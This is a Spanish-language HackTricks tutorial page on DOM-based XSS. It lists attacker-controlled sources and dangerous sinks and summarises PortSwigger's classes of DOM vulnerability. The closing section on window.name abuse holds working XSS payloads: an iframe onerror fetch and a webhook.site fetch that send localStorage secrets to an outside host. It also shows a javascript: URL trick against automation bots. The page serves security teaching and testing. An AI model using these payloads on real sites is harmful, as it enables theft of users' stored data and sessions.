DOM XSS

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Vulnerabilidades DOM

Las vulnerabilidades DOM ocurren cuando datos procedentes de sources controladas por el atacante (como location.search, document.referrer, o document.cookie) se transfieren de forma insegura a sinks. Los sinks son funciones u objetos (p. ej., eval(), document.body.innerHTML) que pueden ejecutar o renderizar contenido dañino si reciben datos maliciosos.

  • Sources son entradas que pueden ser manipuladas por atacantes, incluyendo URLs, cookies y web messages.
  • Sinks son endpoints potencialmente peligrosos donde datos maliciosos pueden causar efectos adversos, como la ejecución de scripts.

El riesgo surge cuando los datos fluyen desde una source a una sink sin la validación o sanitización adecuada, permitiendo ataques como XSS.

Tip

Puede encontrar una lista más actualizada de sources and sinks en https://github.com/wisec/domxsswiki/wiki

Common sources:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Common Sinks:

Open RedirectJavascript InjectionDOM-data manipulationjQuery
locationeval()scriptElement.srcadd()
location.hostFunction() constructorscriptElement.textafter()
location.hostnamesetTimeout()scriptElement.textContentappend()
location.hrefsetInterval()scriptElement.innerTextanimate()
location.pathnamesetImmediate()someDOMElement.setAttribute()insertAfter()
location.searchexecCommand()someDOMElement.searchinsertBefore()
location.protocolexecScript()someDOMElement.textbefore()
location.assign()msSetImmediate()someDOMElement.textContenthtml()
location.replace()range.createContextualFragment()someDOMElement.innerTextprepend()
open()crypto.generateCRMFRequest()someDOMElement.outerTextreplaceAll()
domElem.srcdoc``Local file-path manipulationsomeDOMElement.valuereplaceWith()
XMLHttpRequest.open()FileReader.readAsArrayBuffer()someDOMElement.namewrap()
XMLHttpRequest.send()FileReader.readAsBinaryString()someDOMElement.targetwrapInner()
jQuery.ajax()FileReader.readAsDataURL()someDOMElement.methodwrapAll()
$.ajax()FileReader.readAsText()someDOMElement.typehas()
``Ajax request manipulationFileReader.readAsFile()someDOMElement.backgroundImageconstructor()
XMLHttpRequest.setRequestHeader()FileReader.root.getFile()someDOMElement.cssTextinit()
XMLHttpRequest.open()FileReader.root.getFile()someDOMElement.codebaseindex()
XMLHttpRequest.send()Link manipulationsomeDOMElement.innerHTMLjQuery.parseHTML()
jQuery.globalEval()someDOMElement.hrefsomeDOMElement.outerHTML$.parseHTML()
$.globalEval()someDOMElement.srcsomeDOMElement.insertAdjacentHTMLClient-side JSON injection
``HTML5-storage manipulationsomeDOMElement.actionsomeDOMElement.oneventJSON.parse()
sessionStorage.setItem()XPath injectiondocument.write()jQuery.parseJSON()
localStorage.setItem()document.evaluate()document.writeln()$.parseJSON()
**[**`Denial of Service`**](dom-xss.md#denial-of-service)**someDOMElement.evaluate()document.title``Cookie manipulation
requestFileSystem()``Document-domain manipulationdocument.implementation.createHTMLDocument()document.cookie
RegExp()document.domainhistory.pushState()WebSocket-URL poisoning
Client-Side SQl injectionWeb-message manipulationhistory.replaceState()WebSocket
executeSql()postMessage()````

The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.

This kind of XSS is probably the hardest to find, as you need to look inside the JS code, see if it’s using any object whose value you control, and in that case, see if there is any way to abuse it to execute arbitrary JS.

Tools to find them

Examples

Open Redirect

From: https://portswigger.net/web-security/dom-based/open-redirection

Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.

It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

From: https://portswigger.net/web-security/dom-based/cookie-manipulation

DOM-based cookie-manipulation vulnerabilities ocurren cuando un script incorpora datos, que pueden ser controlados por un atacante, en el valor de una cookie. Esta vulnerabilidad puede provocar un comportamiento inesperado de la página web si la cookie se utiliza dentro del sitio. Además, puede ser explotada para llevar a cabo un session fixation attack si la cookie está involucrada en el seguimiento de las sesiones de usuario. El sink principal asociado a esta vulnerabilidad es:

Sinks:

document.cookie

JavaScript Injection

Fuente: https://portswigger.net/web-security/dom-based/javascript-injection

DOM-based JavaScript injection vulnerabilities se producen cuando un script ejecuta datos, que pueden ser controlados por un atacante, como código JavaScript.

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

Fuente: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities ocurren cuando un script establece la propiedad document.domain usando datos que un attacker puede controlar.

La propiedad document.domain desempeña un papel clave en la aplicación de la same-origin policy por los navegadores. Cuando dos páginas de distintos orígenes establecen su document.domain al mismo valor, pueden interactuar sin restricciones. Aunque los navegadores imponen ciertos límites en los valores asignables a document.domain, impidiendo la asignación de valores completamente no relacionados con el origen real de la página, existen excepciones. Típicamente, los navegadores permiten el uso de dominios hijo o padre.

Sinks:

document.domain

WebSocket-URL poisoning

From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning ocurre cuando un script utiliza datos controlables como la URL de destino para una conexión WebSocket.

Sinks:

El constructor WebSocket puede dar lugar a vulnerabilidades de WebSocket-URL poisoning.

From: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities surgen cuando un script escribe datos controlables por un atacante a un destino de navegación dentro de la página actual, como un enlace clicable o la URL de envío de un formulario.

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities surgen cuando un script escribe datos controlables por el atacante en una petición Ajax que se envía usando un objeto XmlHttpRequest.

Sinks:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities surgen cuando un script pasa datos controlados por un atacante a una API de manejo de archivos como el parámetro filename. Esta vulnerabilidad puede ser explotada por un atacante para construir una URL que, si la visita otro usuario, podría provocar que el navegador del usuario abra o escriba un archivo local arbitrario.

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

From: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities ocurren cuando un script incorpora datos controlables por un atacante en una consulta SQL del lado del cliente de forma insegura.

Sinks:

executeSql()

HTML5-storage manipulation

Fuente: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities surgen cuando un script almacena datos controlables por un atacante en el HTML5 storage del navegador web (localStorage o sessionStorage). Aunque esta acción no es inherentemente una vulnerabilidad de seguridad, se vuelve problemática si la aplicación posteriormente lee los datos almacenados y los procesa de forma insegura. Esto podría permitir a un atacante aprovechar el mecanismo de almacenamiento para llevar a cabo otros ataques basados en DOM, como cross-site scripting y JavaScript injection.

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities ocurren cuando un script incorpora datos controlados por el atacante en una XPath query.

Sinks:

document.evaluate()
someDOMElement.evaluate()

Inyección JSON del lado del cliente

From: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities ocurren cuando un script incorpora datos controlables por el atacante en una cadena que se analiza como una estructura de datos JSON y luego es procesada por la aplicación.

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

From: https://portswigger.net/web-security/dom-based/web-message-manipulation

Web-message vulnerabilities surgen cuando un script envía datos controlables por un atacante como un web message a otro documento dentro del navegador. Un ejemplo de vulnerable Web-message manipulation puede encontrarse en PortSwigger’s Web Security Academy.

Sinks:

The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.

DOM-data manipulation

From: https://portswigger.net/web-security/dom-based/dom-data-manipulation

DOM-data manipulation vulnerabilities surgen cuando un script escribe datos controlables por un atacante en un campo dentro del DOM que se utiliza en la UI visible o en la lógica del cliente. Esta vulnerabilidad puede ser explotada por un atacante para construir una URL que, si la visita otro usuario, puede alterar la apariencia o el comportamiento de la UI del lado del cliente.

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

From: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities ocurren cuando un script pasa datos controlados por un atacante de forma insegura a una API problemática de la plataforma. Esto incluye APIs que, al invocarse, pueden hacer que el equipo del usuario consuma cantidades excesivas de CPU o espacio en disco. Tales vulnerabilidades pueden tener efectos secundarios significativos, como que el navegador restrinja la funcionalidad del sitio web rechazando intentos de almacenar datos en localStorage o terminando scripts ocupados.

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Dom Clobbering

Variables globales implícitas y abuso de window.name

Hacer referencia a name sin una declaración (var/let/const) se resuelve en window.name. Debido a que window.name persiste a través de navegaciones entre orígenes, un atacante puede precargar el nombre del contexto de navegación con HTML/JS y, más tarde, hacer que el código de la víctima lo renderice como datos confiables:

  • Abre/navega el target en un contexto con nombre que controlas:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
  • O reutilizar window.open con un nombre de destino manipulado:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")

Si la aplicación posteriormente hace element.innerHTML = name (o un sink similar) sin sanitizar, la cadena window.name controlada por el atacante se ejecuta en el origen objetivo, permitiendo DOM XSS y acceso al almacenamiento de mismo origen.

Flujos de administración/automatización: almacenamiento pre-cargado y navegación javascript:

Los bots de automatización (p. ej., Playwright) suelen visitar primero una página interna, guardar secretos en localStorage/cookies y luego navegar a URLs proporcionadas por el usuario. Cualquier primitiva de DOM XSS (incluido el abuso de window.name) en ese flujo puede exfiltrar el secreto pre-cargado:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

Si el bot no restringe los esquemas, al proporcionar una URL javascript: (javascript:fetch(...)) esta se ejecuta en el origen actual sin una nueva navegación, leaking storage values directamente.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks